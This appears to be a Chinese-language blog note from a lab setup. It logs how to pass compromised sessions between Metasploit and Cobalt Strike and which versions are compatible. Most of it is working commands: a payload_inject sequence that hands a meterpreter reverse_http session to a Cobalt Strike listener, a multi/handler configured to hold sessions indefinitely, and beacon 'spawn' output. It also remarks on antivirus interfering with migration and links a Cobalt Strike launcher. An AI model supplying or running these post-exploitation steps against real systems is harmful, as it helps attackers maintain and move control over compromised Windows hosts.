MSF与CS之间会话传递,互相派生,版本问题踩坑

查看kali版本:

┌──(root㉿kali)-[~]
└─# msfconsole -V
Framework Version: 6.1.27-dev
                                                                                                                                                                                                        
┌──(root㉿kali)-[~]
└─# cat /etc/os-release    
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.1"
VERSION_ID="2022.1"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
                                                                                                                                                                                                        
┌──(root㉿kali)-[~]
└─# 

cobaltstrike使用版本4.5,可以msf派生给cs4.5,但是反过来cs4.5不能派生给msf,

得换cobaltstrike4.0至4.4(2023-10-14测试)的版本,试过cs3.14版,不能派生给msf6.1,版本毕竟隔太远了

2023.10.14测试发现cs4.7也支持(派生给msf6),可能就是我下载cs4.5有问题(Cobalt Strike 4.X全版本启动器):

https://www.cnblogs.com/XuyeZi/p/16505470.htmlhttps://www.cnblogs.com/XuyeZi/p/16505470.html

msf派生给cs(cs4.3和cs4.5都可以)(192.168.50.1:80 是cs的windows/beacon_httpreverse_http监听器):

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.50.1
# cs4.1 ipaddr : 192.168.50.1
set lport 80        
set DisablePayloadHandler True
set PrependMigrate True
set session 1   
run

cs4.3派生给msf,不管cs4.3的beacon是x64还是x86,派生给msf的exploit/multi/handler都是x86:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
#set autorunscript post/windows/manage/migrate name=services.exe 
# 一迁移就会话超时(安装了360和火绒,即使退出了,也有进程在)
set lhost 192.168.50.130
# kali ipaddr : 192.168.50.130
set lport 6666
set ExitOnSession false
set SessionExpirationTimeout 0 
set SessionCommunicationTimeout 0 
exploit -j -z

这个地方显示x86,不知道能搞成x64吗?

beacon> spawn msf
[*] Tasked beacon to spawn (x86) windows/foreign/reverse_http (192.168.50.130:6666)
[+] host called home, sent: 807 bytes
beacon>